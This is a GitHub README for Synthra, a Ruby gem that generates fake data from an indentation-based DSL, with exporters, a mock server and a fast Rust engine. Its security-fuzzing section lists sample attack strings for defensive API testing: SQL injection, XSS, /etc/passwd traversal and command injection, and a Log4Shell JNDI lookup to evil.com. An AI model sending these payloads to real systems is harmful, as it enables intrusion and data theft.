Skip to content

talaatmagdyx/synthra

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Synthra

Gem Version Build Status Test Coverage Ruby Style Guide License: MIT

Synthra is a powerful Ruby gem for generating realistic fake data using a human-friendly, indentation-based Domain Specific Language (DSL). It provides enterprise-grade features for testing, development, and data simulation.

Part of the Simulyra platform. Synthra is the data-generation engine behind Simulyra — a multi-tenant platform for realistic API simulation and fake data generation, launching soon. Synthra is fully usable as a standalone gem; Simulyra builds schemas, mock REST/GraphQL/gRPC endpoints, and behavior simulation on top of it.

✨ Features

  • 🎯 Intuitive DSL - Define data schemas with a clean, YAML-like syntax
  • 🔄 Deterministic Generation - Seed-based reproducible output for consistent testing
  • 📦 Rich Type System - 50+ built-in types including UUID, dates, money, and more
  • 🔗 Cross-Schema References - Link schemas together with automatic resolution
  • 🧮 Computed Fields - Dynamic values based on other fields
  • 🎭 Behavior Simulation - Simulate latency, failures, and network conditions
  • 📊 Generation Modes - Random, edge-case, invalid, hostile (security testing), and mixed data generation
  • 🚀 Streaming Support - Memory-efficient batch generation for large datasets
  • Native Rust Engine - 3-4M records/sec with configurable threads (default: 2)
  • 🛡️ Resource Limits - Configurable limits to prevent runaway generation
  • 📤 Multi-Format Export - Export to TypeScript, Python, JSON Schema, SQL, CSV, and more
  • 🌍 Multi-Locale Support - Generate data in English, French, German, Japanese, Chinese, and more
  • 🔍 LSP Server - Full IDE integration with go-to-definition, hover, completion, and diagnostics
  • 🧪 Property-Based Testing - RSpec integration for verifying properties across generated data
  • 🐛 Enhanced REPL - Visual inspection, step-through debugging, and table formatting
  • 🔐 Security Fuzzing - Hostile mode for security testing with SQL injection, XSS, and more
  • 🏭 Factory Bot Integration - Bridge to Factory Bot for seamless test data ⭐ NEW
  • 📸 Snapshot Testing - Detect unintended schema changes in CI ⭐ NEW
  • ⚖️ Breaking Changes Diff - CI-friendly schema version comparison ⭐ NEW
  • 📄 Config File Support - YAML configuration with environment support ⭐ NEW
  • 🧪 Rails Test Helper - generate_for_test(Model) integration ⭐ NEW
  • 🧩 Schema Mixins - Reusable field sets with @mixin ⭐ NEW
  • 🔗 Data Relationships - belongs_to, has_one, has_many support ⭐ NEW
  • 📊 Schema Versioning - User@v2 with migration tracking ⭐ NEW
  • 📥 OpenAPI Import - Convert OpenAPI specs to DSL schemas ⭐ NEW
  • 🌱 Database Seeder - FK-aware database seeding ⭐ NEW
  • 🖥️ Live Preview Server - Web UI with hot reload ⭐ NEW
  • 📖 Documentation Generator - Beautiful HTML docs from schemas ⭐ NEW
  • 🔢 Deterministic IDs - Reproducible UUIDs, short IDs, slugs ⭐ NEW
  • 🚀 Production API Server - REST API for data generation 🔥 NEW
  • 📡 gRPC/Protobuf Export - Generate .proto files for microservices 🔥 NEW
  • 📋 OpenAPI Generation - Export schemas to OpenAPI 3.0 specs 🔥 NEW
  • 🎬 Mock Server + Recording - Record real API responses, replay as mocks 🔥 NEW
  • 📜 Data Contracts Registry - Version and publish schemas centrally 🔥 NEW
  • Performance Mode - Generate millions of records with parallel processing 🔥 NEW
  • 🚂 Rails Engine - Zero-config Rails integration with auto-discovery 🚀 NEW
  • 🔍 ActiveRecord Inference - Generate schemas from your models 🚀 NEW
  • 📸 Scenarios - Complex test data fixtures with relationships 🚀 NEW
  • Time Travel - Generate historical/time-series data 🚀 NEW
  • 🎭 Personas - Named data profiles (happy_path, edge_cases) 🚀 NEW
  • 📊 Quality Metrics - Analyze data realism and distribution 🚀 NEW
  • 🔗 GraphQL Federation - Apollo Federation v2 export 🚀 NEW
  • 🎬 Webhook Simulation - Test Stripe, GitHub webhooks 🚀 NEW
  • 🧬 Migration Generator - Generate Rails migrations from schemas 🚀 NEW
  • 🏗️ Terraform Export - Generate AWS/GCP infrastructure code 🚀 NEW
  • 🤖 GitHub Action - CI/CD integration for schema validation 🚀 NEW

📚 Documentation

Documentation Description
Technical Docs Complete technical documentation
Examples Runnable code examples
Type Reference Quick reference for all types
API Reference Ruby API documentation
CLI Guide Command-line interface guide
Export Guide Multi-format export documentation
Schema Templates 12+ production-ready templates
CI/CD Integration GitHub, GitLab, Jenkins setup
Performance Benchmarks Benchmarks and optimization tips
Native Rust Engine 3-4M records/sec with fake-rs ⚡
LSP Server IDE integration with go-to-definition, hover, completion ⭐ NEW
Property-Based Testing RSpec integration for property verification ⭐ NEW
Enhanced REPL Visual inspection and step-through debugging ⭐ NEW
Security Testing Hostile mode for security fuzzing ⭐ NEW
Factory Bot Integration Bridge to Factory Bot for test data ⭐ NEW
Snapshot Testing Detect schema changes in CI ⭐ NEW
Config File Guide YAML configuration reference ⭐ NEW
GraphQL Export GraphQL SDL export guide ⭐ NEW
Production API Server REST API for production use 🔥 NEW
gRPC/Protobuf Export Generate .proto files 🔥 NEW
OpenAPI Export Export to OpenAPI 3.0 🔥 NEW
Mock Server Record & replay mock responses 🔥 NEW
Data Contracts Schema versioning registry 🔥 NEW
Performance Mode Generate millions of records 🔥 NEW
Rails Engine Zero-config Rails integration 🚀 NEW
ActiveRecord Inference Generate schemas from models 🚀 NEW
Scenarios Complex test data fixtures 🚀 NEW
Time Travel Historical/time-series data 🚀 NEW
Personas Named data profiles 🚀 NEW
Quality Metrics Analyze generated data 🚀 NEW
GraphQL Federation Apollo Federation export 🚀 NEW
Webhook Simulator Test webhooks 🚀 NEW
Migration Generator Generate Rails migrations 🚀 NEW
Terraform Export Infrastructure as Code 🚀 NEW
GitHub Action CI/CD integration 🚀 NEW

Quick Links


📋 Table of Contents


📦 Installation

Requirements

  • Ruby 3.1.0 or higher

Via Bundler (Recommended)

gem 'synthra'

Then run:

bundle install

Via RubyGems

gem install synthra

📖 See Installation Guide for detailed instructions.


🚀 Quick Start

1. Define a Schema

Create schemas/user.dsl:

User:
  id: uuid(unique: true)
  name: name
  email: email
  age: number(18..65)
  active: boolean(true:80%)
  role: enum(user, admin:10%, moderator:20%)
  created_at: past_date(1y)

2. Generate Data in Ruby

require 'synthra'

# Load and generate
schema = Synthra.load('schemas/user.dsl')
user = schema.generate

# Output:
# {
#   "id" => "550e8400-e29b-41d4-a716-446655440000",
#   "name" => "John Smith",
#   "email" => "john.smith@example.com",
#   "age" => 34,
#   "active" => true,
#   "role" => "user",
#   "created_at" => "2024-06-15"
# }

# Generate multiple records
users = schema.generate_many(100)

# Generate with seed for reproducibility
user = schema.generate(seed: 12345)

3. Or Use the CLI

# Validate schema
synthra validate schemas/user.dsl

# Generate 10 users
synthra generate User --dir schemas --count 10

# Generate with pretty output
synthra generate User --dir schemas --pretty

📖 See Quick Start Guide for more details.


📝 DSL Syntax

Schema Definition

SchemaName:
  field_name: type
  field_name: type(arguments)
  optional_field?: type        # May be omitted
  nullable_field: type?        # May be null

Field Modifiers

User:
  id: uuid                     # Required field
  phone?: phone                # Optional (may not appear)
  nickname: text?              # Nullable (may be null)
  bio?: text?                  # Optional AND nullable
  tracking: text if status     # Conditional field

Behaviors

APIResponse:
  @latency 100..500ms          # Random delay
  @failure 5%                  # 5% chance of error
  @partial_data 10%            # 10% missing fields
  
  data: object

📖 See DSL Reference for complete syntax.


📦 Built-in Types

Identifiers

uuid, ulid, id_sequence

Personal Data

name, first_name, last_name, email, phone, username, avatar

Text

text, paragraph, sentence, word

Numbers

number, integer, float, latitude, longitude

Boolean & Enum

boolean, enum

Date & Time

date, past_date, future_date, timestamp, now

Location

address, city, country, country_code, postal_code, state

Technology

url, domain, ip, ipv6, mac_address, user_agent

Finance

money, currency, currency_code, iban, credit_card

Complex

array, object, Ref(), custom

📖 See Type Reference Chart for all 50+ types.


🎭 Behaviors

Simulate real-world conditions:

Behavior Description Example
@latency Adds delay @latency 100..500ms
@failure Throws error @failure 5%
@partial_data Missing fields @partial_data 10%
@close_connection Connection drop @close_connection 2%
@simulate_error HTTP error @simulate_error 500
begin
  data = schema.generate
rescue Synthra::Errors::SimulatedFailure
  puts "Service unavailable"
rescue Synthra::Errors::SimulatedError => e
  puts "HTTP #{e.status_code}"
end

📖 See Behaviors Guide for details.


📊 Generation Modes

Mode Purpose Example
:random Typical values (default) "John Smith", 34
:edge Boundary values "", 0, max_value
:invalid Invalid data nil, "not_a_number"
:hostile Security attack payloads SQL injection, XSS, buffer overflow
:mixed Combination 80% random, 15% edge, 5% invalid
schema.generate(mode: :random)   # Realistic data
schema.generate(mode: :edge)     # Edge cases
schema.generate(mode: :invalid)   # Invalid data
schema.generate(mode: :hostile)   # Security testing
schema.generate(mode: :mixed)    # Comprehensive testing

📖 See Generation Modes for details.


💎 Ruby API

Loading Schemas

# From file
schema = Synthra.load('schemas/user.dsl')

# From string
schema = Synthra.parse(<<~DSL)
  User:
    id: uuid
    name: name
DSL

# Multiple schemas
registry = Synthra::Registry.new
registry.load_dir('schemas/')
user_schema = registry.schema('User')

Generating Data

# Single record
data = schema.generate

# With options
data = schema.generate(
  seed: 12345,           # Reproducibility
  mode: :edge,           # Generation mode
  registry: registry     # For cross-references
)

# Multiple records
records = schema.generate_many(100)

# Streaming (memory-efficient)
schema.generate_stream(count: 1_000_000).each do |record|
  process(record)
end

Custom Types

Synthra.register_type(:ssn) do |rng, context, args, mode|
  "#{rng.int(100, 999)}-#{rng.int(10, 99)}-#{rng.int(1000, 9999)}"
end

Custom Functions

Synthra.register_function(:full_name) do |context|
  "#{context['first_name']} #{context['last_name']}"
end

📖 See API Reference for complete documentation.


📤 Export Formats

Synthra supports exporting schemas and generated data to multiple formats.

Schema Exports (Types/Structure)

Format Extension Description
json-schema .schema.json JSON Schema (draft 2020-12)
typescript / ts .ts TypeScript interfaces
javascript / js .js JavaScript with JSDoc
python / pydantic .py Python Pydantic models
dataclass .py Python dataclasses
sql / sql-ddl .sql SQL CREATE TABLE
graphviz / dot .dot GraphViz diagram
graphql / gql .graphql GraphQL SDL ⭐ NEW

Data Exports (Generated Records)

Format Extension Description
json .json JSON array of records
csv .csv CSV with headers
sql-insert .sql SQL INSERT statements
yaml .yaml YAML format
xml .xml XML format

Ruby API

# Schema exports
Synthra.to_typescript(schema)
Synthra.to_python(schema, style: :pydantic)
Synthra.to_json_schema(schema)
Synthra.to_sql(schema, dialect: :postgresql)
Synthra.to_graphql(schema)  # NEW: GraphQL SDL

# Data exports
Synthra.to_json(schema, count: 100)
Synthra.to_csv(schema, count: 1000)
Synthra.to_sql_insert(schema, count: 100, dialect: :mysql)
Synthra.to_yaml(schema, count: 50)
Synthra.to_xml(schema, count: 20)

# Auto-file export
Synthra.export_to_file(:typescript, schema, output_dir: "./types")
# => "./types/user.ts"

CLI Export Commands

# Schema exports
synthra export User -d schemas -f typescript -o user.ts
synthra export User -d schemas -f python --style pydantic
synthra export User -d schemas -f json-schema
synthra export --all -d schemas -f typescript -o types.ts

# Data exports
synthra export User -d schemas -f json -c 100 -o users.json
synthra export User -d schemas -f csv -c 1000 -o users.csv
synthra export User -d schemas -f sql-insert -c 100 --dialect postgresql
synthra export User -d schemas -f yaml -c 50 -o users.yaml

# Auto-generate files
synthra export User -d schemas -f typescript --out-dir ./generated
synthra export User -d schemas -f python --out-dir ./models

📖 See Export Guide for complete documentation.


⚡ Native Rust Engine

For maximum performance (3-4 million records/sec), use the Native Rust Engine:

Quick Start

# Install and compile (one-time setup)
# 1. Install Rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# 2. gem install rb_sys
# 3. bundle exec rake compile

# Generate 10 million records in ~3 seconds
schema.generate_to_file(10_000_000, "users.jsonl")

# Or use engine: :native option
users = schema.generate_many(100_000, engine: :native, seed: 42)

Thread Control

By default, uses 2 threads to leave resources for other work:

# Default (2 threads)
schema.generate_to_file(10_000_000, "users.jsonl")

# Use 4 threads
schema.generate_to_file(10_000_000, "users.jsonl", threads: 4)

# Use all cores (fastest for single job)
schema.generate_to_file(10_000_000, "users.jsonl", threads: 0)

Multi-Locale Support

# English (fast mode)
schema.generate_to_file(1_000_000, "users.jsonl", locale: "en")

# Japanese names
schema.generate_to_file(1_000_000, "users.jsonl", locale: "ja_jp")

# French names
schema.generate_to_file(1_000_000, "users.jsonl", locale: "fr_fr")

Performance

Records Time Rate
1M 0.3s ~3.5M/sec
10M 2.7s ~3.7M/sec
Ruby (compare) ~10 min ~17K/sec

📖 See Native Engine Guide for complete documentation.


🖥️ CLI Usage

# Validate schema
synthra validate schemas/user.dsl

# Lint with strict mode (for CI)
synthra lint schemas/ --strict

# Preview single record
synthra preview User --dir schemas

# Generate data
synthra generate User --dir schemas --count 10

# With options
synthra generate User -d schemas -c 100 --seed 12345 --mode edge

# Output formats
synthra generate User -d schemas --pretty      # Pretty JSON
synthra generate User -d schemas --ndjson      # NDJSON

# Schema exports
synthra export User -d schemas -f json-schema
synthra export User -d schemas -f typescript -o user.ts
synthra export User -d schemas -f python --style pydantic
synthra export --all -d schemas -f typescript -o types.ts

# Data exports  
synthra export User -d schemas -f json -c 100
synthra export User -d schemas -f csv -c 1000 -o users.csv
synthra export User -d schemas -f sql-insert -c 100 --dialect mysql

# Auto-generate files to directory
synthra export User -d schemas -f typescript --out-dir ./generated

# Visualize schema relationships
synthra graph schemas/ --output schema.dot --render

# Watch for changes (hot reload)
synthra watch schemas/

# Interactive REPL
synthra repl

# LSP Server (for IDE integration)
synthra lsp

# Schema info
synthra info schemas/ --verbose

# Compare schema versions
synthra diff schemas/v1/ schemas/v2/

# Check for breaking changes only (CI mode)
synthra diff schemas/v1/ schemas/v2/ --breaking-only

# Export to GraphQL (NEW)
synthra export User -d schemas -f graphql -o schema.graphql
synthra export --all -d schemas -f graphql -o schema.graphql

📖 See CLI Guide for all options.


🔍 LSP Server (Language Server Protocol)

Synthra includes a full LSP server for IDE integration, providing:

  • Go to Definition - Jump to schema definitions from Ref(User.id) references
  • Real-time Diagnostics - See errors as you type with line/column numbers
  • Auto-completion - Suggestions for types, behaviors, and schemas
  • Hover Documentation - See type and behavior documentation on hover

Setup

  1. Start the LSP server:

    synthra lsp
  2. Configure your IDE to connect to the LSP server (VS Code, Cursor, Neovim, etc.)

Features

  • Works with any LSP-compatible editor
  • Reuses existing parser and validator (no duplication)
  • Provides diagnostics, completion, hover, and definition lookup
  • Supports multi-file workspace schemas

📖 See LSP Integration Guide for detailed setup instructions.


🧪 Property-Based Testing

Synthra integrates seamlessly with RSpec for property-based testing:

require 'synthra'
include Synthra::PropertyTesting

RSpec.describe "User Registration" do
  it "accepts all valid users" do
    verify_property("User", count: 1000) do |user_data|
      user = User.create(user_data)
      expect(user).to be_valid
      expect(user.save).to be_truthy
    end
  end

  it "validates email format" do
    verify_property("User", count: 100) do |user_data|
      email = user_data["email"]
      expect(email).to match(/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i)
    end
  end
end

Features

  • verify_property - Verify properties hold for generated data
  • verify_property_stream - Memory-efficient streaming verification
  • shrink_counterexample - Shrink failing cases to minimal counterexamples
  • Automatic RSpec integration when available

📖 See Property-Based Testing Guide for examples.


🐛 Enhanced REPL

The interactive REPL now includes visual inspection and debugging:

synthra repl

# In REPL:
> load schemas/
✅ Loaded 3 schema(s)

> table User          # Table view
  ────────────────────┼───────────────────────────────
  id                  │ "550e8400-e29b-41d4-a716-..."
  name                │ "John Doe"
  email               │ "john.doe@example.com"

> debug User          # Step-through debugging
🐛 Debug Mode: Generating User
Press Enter to continue after each field...

[Field 1] id
────────────────────────────────────────────────────────
Value: "550e8400-e29b-41d4-a716-446655440000"

Context State:
  Depth: 0
  Registry: available
  Generated Fields:
    (none yet)

Press Enter to continue, 'q' to quit, 'c' to continue: 

> inspect User        # Detailed inspection
📊 Generated Record:
============================================================
  ────────────────────┼───────────────────────────────
  id                  │ "550e8400-e29b-41d4-a716-..."
  ...
📋 JSON Format:
{ "id": "...", ... }
📏 Statistics:
  Fields: 5
  Total size: 234 bytes

Commands

  • table <Schema> - Display records in formatted table view
  • debug <Schema> - Step-through debugging with context inspection
  • inspect <Schema> - Detailed inspection with table + JSON + statistics
  • gen <Schema> - Generate records (JSON format)
  • load <path> - Load schemas from file/directory
  • list - List loaded schemas
  • info <Schema> - Show schema details

🔐 Security Fuzzing (Hostile Mode)

Generate security attack payloads for testing API endpoints:

# Generate hostile data
schema.generate(mode: :hostile)

# CLI
synthra generate User --mode hostile

Attack Vectors

  • SQL Injection - ' OR '1'='1, '; DROP TABLE users;--
  • XSS - <script>alert(1)</script>, <img src=x onerror=alert(1)>
  • Buffer Overflow - 1KB, 10KB, 100KB, 64KB strings
  • Unicode Attacks - RTL override, Zalgo text, null bytes
  • Path Traversal - ../../../etc/passwd
  • Command Injection - ; ls -la, | cat /etc/passwd
  • LDAP Injection - *)(uid=*))(|(uid=*
  • XXE Injection - XML external entity attacks
  • Log4Shell - ${jndi:ldap://evil.com/a}

Use Case

Perfect for security testing of API endpoints that consume generated data:

# Test API endpoint with hostile inputs
hostile_data = schema.generate_many(1000, mode: :hostile)
hostile_data.each do |payload|
  response = post("/api/users", payload)
  expect(response.status).to eq(400) # Should reject hostile input
end

📖 See Security Testing Guide for examples.


🏭 Factory Bot Integration

Bridge between Synthra and Factory Bot for seamless test data:

# Define a factory using a Synthra schema
Synthra.define_factory(:user, schema: "User") do
  trait(:admin) do
    role { "admin" }
  end

  trait(:with_address) do
    address { Synthra.generate("Address") }
  end
end

# Use in tests
create(:user)                         # Standard user
create(:user, :admin)                 # Admin user
create(:user, :admin, :with_address)  # Admin with address
create(:user, name: "Custom Name")    # Override fields

RSpec Helpers

# In spec_helper.rb
RSpec.configure do |config|
  config.include Synthra::FactoryBotIntegration::RSpec
end

# In tests
describe "User Registration" do
  it "creates a valid user" do
    user_data = fake_data_build(:user)
    # or: user_data = build_fake_data(:user)
    
    expect(User.create(user_data)).to be_valid
  end
end

📖 See Factory Bot Integration Guide for more examples.


📸 Snapshot Testing

Detect unintended schema changes with snapshot testing:

require 'synthra/snapshot_testing'

RSpec.describe "Schema Snapshots" do
  include Synthra::SnapshotTesting

  # Test individual schema
  it "User generates stable output" do
    schema = Synthra.load("schemas/user.dsl")
    expect_snapshot(schema, seed: 42)
  end

  # Test all schemas
  Synthra.each_schema do |schema|
    it "#{schema.name} generates stable output" do
      expect(schema.generate(seed: 42)).to match_snapshot(schema.name)
    end
  end
end

Generate/Verify All Snapshots

# Generate all snapshots
Synthra::SnapshotTesting.generate_all_snapshots(registry, seed: 42)

# Verify all snapshots match
mismatches = Synthra::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
puts "Mismatched schemas: #{mismatches}" if mismatches.any?

📖 See Snapshot Testing Guide for CI integration.


⚖️ Breaking Changes Diff

Detect breaking schema changes in CI pipelines:

# Compare two schema directories
synthra diff schemas/v1/ schemas/v2/

# Show only breaking changes (CI mode)
synthra diff schemas/v1/ schemas/v2/ --breaking-only

# Exit codes:
# 0 = No breaking changes
# 1 = Breaking changes detected (fails CI)

What's Detected as Breaking

Change Breaking? Description
Schema removed ✅ Yes Schema no longer exists
Field removed ✅ Yes Field was deleted
Type changed ✅ Yes numbertext
Optional → Required ✅ Yes Field now mandatory
Field added ❌ No Backwards compatible
Required → Optional ❌ No Backwards compatible

CI Integration Example

# .github/workflows/schema-check.yml
- name: Check for breaking changes
  run: |
    synthra diff schemas/main/ schemas/pr/ --breaking-only

📄 Configuration File

Configure Synthra with YAML config files (Rails convention):

File Locations (searched in order)

  1. config/synthra.yml
  2. synthra.yml
  3. .synthra.yml

Example Configuration

# config/synthra.yml
default_mode: random
max_unique_retries: 1000

limits:
  max_array_size: 100
  max_recursion: 5
  max_text_length: 10000

# Environment-specific overrides
test:
  default_mode: edge    # Use edge cases in tests

development:
  default_mode: random

production:
  fast_mode: true       # Use faster generation

Manual Loading

# Load from custom path
Synthra::ConfigFile.load_and_apply("custom/path.yml")

# Load with specific environment
Synthra::ConfigFile.load_and_apply("config.yml", env: "staging")

📖 See Config File Guide for all options.


🧪 Rails Test Helper

Seamless Rails test integration with generate_for_test:

# test/test_helper.rb
require 'synthra/rails_test_helper'

class ActiveSupport::TestCase
  include Synthra::RailsTestHelper
end

# In your tests
class UserTest < ActiveSupport::TestCase
  test "validates email format" do
    user = generate_for_test(User)
    assert user.valid?
  end
  
  test "with overrides" do
    user = generate_for_test(User, :valid, email: "test@example.com")
    assert_equal "test@example.com", user.email
  end
  
  test "generate multiple" do
    users = generate_many_for_test(User, 10)
    assert_equal 10, users.length
  end
end

🧩 Schema Mixins

Reusable field sets with pre-built common patterns:

# Pre-registered mixins
Synthra::CommonMixins.register_all!

# Available mixins:
# - Timestamps: created_at, updated_at
# - SoftDelete: deleted_at
# - Auditable: created_by, updated_by
# - Sluggable: slug
# - Publishable: published_at, published

📥 OpenAPI Import

Convert OpenAPI/Swagger specs to DSL schemas:

# Import from OpenAPI
synthra import openapi.yaml --output schemas/

# Also supports JSON
synthra import api-spec.json --output schemas/
# Ruby API
importer = Synthra::OpenAPIImporter.new("openapi.yaml")
schemas = importer.import_to_directory("schemas/")
# Creates user.dsl, product.dsl, etc.

🖥️ Live Preview Server

Web UI with hot reload for interactive development:

# Start live preview server
synthra live schemas/ --port 4567

# Opens http://localhost:4567 with:
# - Schema list sidebar
# - Generation mode selector (random/edge/invalid/hostile)
# - Count and seed controls
# - Real-time JSON preview
# - Hot reload on schema changes

📖 Documentation Generator

Generate beautiful HTML documentation:

# Generate docs
synthra docs schemas/ --output docs/

# With custom title
synthra docs schemas/ --output docs/ --title "My API Schemas"

Creates:

  • index.html - Schema listing with statistics
  • {schema}.html - Individual schema pages with:
    • Field table (name, type, required, nullable)
    • Sample data (random and edge modes)

🔢 Deterministic IDs

Generate stable, reproducible IDs:

# Deterministic UUIDs
Synthra::DeterministicIds.uuid(variant: "user", index: 0, seed: 42)
# => "f47ac10b-58cc-4372-a567-0e02b2c3d479" (always the same)

# Short IDs (like YouTube)
Synthra::DeterministicIds.short_id(variant: "video", index: 0)
# => "dQw4w9WgXcQ"

# Integer IDs
Synthra::DeterministicIds.integer(variant: "order", max: 1_000_000)

# URL slugs
Synthra::DeterministicIds.slug(words: 3)
# => "alpha-baker-charlie"

# Batch generation
Synthra::DeterministicIds.batch(100, type: :uuid, variant: "user")

🌱 Database Seeder

FK-aware database seeding:

Synthra.seed_database(truncate: true) do
  create User, count: 100
  create Order, count: 500        # Links to Users automatically
  create OrderItem, count: 2000   # Links to Orders automatically
end

📊 Schema Versioning

Track schema versions and migrations:

# Parse versioned schema names
Synthra::SchemaVersioning.parse_version("User@v2")
# => { name: "User", version: "v2" }

# Register migrations
Synthra::SchemaVersioning::Registry.register(
  from: "User@v1",
  to: "User@v2",
  changes: { added: ["avatar"], removed: ["legacy_field"] }
)

# Find migration path
Synthra::SchemaVersioning::Registry.migration_path("User@v1", "User@v3")
# => [["User@v1", "User@v2"], ["User@v2", "User@v3"]]

Synthra.configure do |config|
  # Default generation mode
  config.default_mode = :random
  
  # Resource limits
  config.limits.max_latency_ms = 10_000
  config.limits.max_recursion = 10
  config.limits.max_array_size = 1000
  config.limits.max_text_length = 10_000
end

🚀 Production API Server

Production-ready REST API for data generation - use it as the core of your data platform:

# Start the API server
synthra server schemas/ --port 3000

# With authentication and rate limiting
synthra server schemas/ --port 3000 --api-key secret123 --rate-limit 100

# Production mode
synthra server schemas/ --port 3000 --env production

API Endpoints

Endpoint Description
GET /api/schemas List all available schemas
GET /api/:schema Generate a single record
GET /api/:schema/batch?count=100 Generate multiple records
GET /api/:schema/stream Stream records (NDJSON)
POST /api/:schema Generate with overrides
GET /api/:schema/openapi OpenAPI spec for schema
GET /api/:schema/protobuf Protobuf definition
GET /metrics Server metrics

Ruby API

# Start server programmatically
Synthra::APIServer.start(
  schema_dir: "schemas/",
  port: 3000,
  auth: { type: :api_key, keys: ["secret123"] },
  rate_limit: 100,  # requests per minute
  enable_caching: true
)

# Use as Rack middleware
# config.ru
run Synthra::APIServer.rack_app(schema_dir: "schemas/")

📡 gRPC/Protobuf Export

Generate Protocol Buffer definitions for microservices:

# Export single schema
synthra export User -d schemas/ -f protobuf -o user.proto

# Export all schemas
synthra export --all -d schemas/ -f protobuf -o all.proto

Generated Proto File

syntax = "proto3";

package generated;

message User {
  string id = 1;
  string name = 2;
  string email = 3;
  int64 age = 4;
  bool active = 5;
  UserRole role = 6;
}

enum UserRole {
  USERROLE_UNSPECIFIED = 0;
  USERROLE_ADMIN = 1;
  USERROLE_USER = 2;
}

service UserService {
  rpc GetUser(GetUserRequest) returns (User);
  rpc GenerateUser(GenerateUserRequest) returns (User);
  rpc GenerateManyUsers(GenerateManyUsersRequest) returns (stream User);
}

📋 OpenAPI Export

Export schemas to OpenAPI 3.0 specifications:

# Export as YAML
synthra export --all -d schemas/ -f openapi -o api.yaml

# Export as JSON
synthra export --all -d schemas/ -f openapi -o api.json

Ruby API

exporter = Synthra::Export::OpenAPI.new(registry,
  title: "My Data API",
  version: "1.0.0",
  server_url: "https://api.example.com"
)

# Export as YAML
spec_yaml = exporter.export

# Export as JSON
spec_json = exporter.export_as(:json)

🎬 Mock Server

Production-ready mock server with API recording:

# Start mock server
Synthra::MockServer.start(
  schema_dir: "schemas/",
  port: 3000,
  recording: true,           # Enable recording
  recordings_dir: "mocks/",  # Save recordings here
  cors: true,
  default_mode: :random
)

Recording & Replay

# Record a real API response
curl -X POST http://localhost:3000/api/recordings/user_list \
  -H "Content-Type: application/json" \
  -d '{"data": [{"id": 1, "name": "Real User"}]}'

# Replay the recording
curl http://localhost:3000/api/recordings/user_list

📜 Data Contracts Registry

Version and publish schemas centrally for team coordination:

# Publish a schema version
synthra contracts publish User -v 1.0.0 -s schemas/ -m "Initial release"

# Deprecate a version
synthra contracts deprecate User -v 1.0.0 --sunset 2026-06-01

# List all contracts
synthra contracts list

# Check compatibility between versions
synthra contracts diff User 1.0.0 2.0.0

Ruby API

registry = Synthra::ContractsRegistry.new("contracts/")

# Publish
registry.publish("User", version: "1.0.0", schema: schema, changelog: "Initial")

# Deprecate
registry.deprecate("User", version: "1.0.0", sunset_date: Date.new(2026, 6, 1))

# Check compatibility
result = registry.compatible?("User", "1.0.0", "2.0.0")
if result[:breaking]
  puts "Breaking changes: #{result[:changes]}"
end

# Validate current schema against contract
registry.validate("User", version: "1.0.0", schema: current_schema)

⚡ Performance Mode

Generate millions of records with parallel processing:

# Generate 1 million records to file
synthra perf User -d schemas/ -c 1000000 -o users.ndjson

# Different formats
synthra perf User -d schemas/ -c 1000000 -f csv -o users.csv
synthra perf User -d schemas/ -c 1000000 -f json -o users.json

# Benchmark performance
synthra perf User -d schemas/ --benchmark

Ruby API

# Generate with progress callback
records = Synthra::PerformanceMode.generate(schema, count: 1_000_000) do |progress|
  puts "#{progress[:current]} / #{progress[:total]} (#{progress[:rate]} rec/s)"
end

# Stream to file (memory efficient)
Synthra::PerformanceMode.to_file(
  schema,
  count: 10_000_000,
  output: "users.ndjson",
  format: :ndjson
) do |progress|
  puts "ETA: #{progress[:eta]}s"
end

# Benchmark
results = Synthra::PerformanceMode.benchmark(schema, counts: [1000, 10_000, 100_000])
# => { 1000 => { elapsed: 0.05, rate: 20000, memory_mb: 2.5 }, ... }

# System capabilities
Synthra::PerformanceMode.system_info
# => { cpu_cores: 8, optimal_threads: 7, native_available: true, ... }

📚 Examples

E-Commerce System

Product:
  id: uuid(unique: true)
  name: text(10..50)
  price: money(range: 9.99..999.99)
  category: enum(electronics, clothing, home)
  in_stock: boolean(true:85%)

Order:
  id: uuid(unique: true)
  customer_id: Ref(Customer.id)
  items: array(OrderItem, 1..5)
  total: custom(:calculate_total)
  status: enum(pending, shipped, delivered)

API Response Simulation

APIResponse:
  @latency 50..500ms
  @failure 2%
  @simulate_error 503 1%
  
  success: boolean(true:95%)
  data: object
  timestamp: now

📖 See Examples Directory for more:


🤝 Contributing

We welcome contributions! Please see CONTRIBUTING.md.

# Clone the repository
git clone https://github.com/talaatmagdyx/synthra.git
cd synthra

# Install dependencies
bundle install

# Run tests
bundle exec rspec

# Run linter
bundle exec rubocop

📄 License

The gem is available as open source under the terms of the MIT License.


🙏 Acknowledgments

  • Faker - For the amazing fake data generators
  • Zeitwerk - For elegant autoloading
  • The Ruby community for inspiration and feedback

Made with ❤️ by the Synthra Team

About

Generate fake data from a human-friendly DSL — Ruby gem with an optional Rust engine

Resources

Code of conduct

Contributing

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages